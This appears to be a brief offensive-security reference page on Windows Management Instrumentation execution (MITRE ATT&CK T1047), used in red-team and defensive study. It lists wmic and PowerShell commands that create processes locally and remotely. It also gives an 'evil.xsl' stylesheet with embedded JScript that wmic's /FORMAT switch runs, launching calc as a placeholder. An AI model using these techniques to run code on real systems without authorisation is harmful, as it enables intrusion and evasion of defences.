WMI
MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047
Theory
Practice
wmic.exe process call create "C:\Windows\Temp\evil.exe"
wmic.exe process call create "cmd.exe /c calc.exe"#Execute a command remotely
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
#Powershell v1+
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $Command
#Powershell v3+
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command }#evil.xsl
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc");
]]> </ms:script>
</stylesheet>wmic os get /FORMAT:"evil.xsl"Resources
Last updated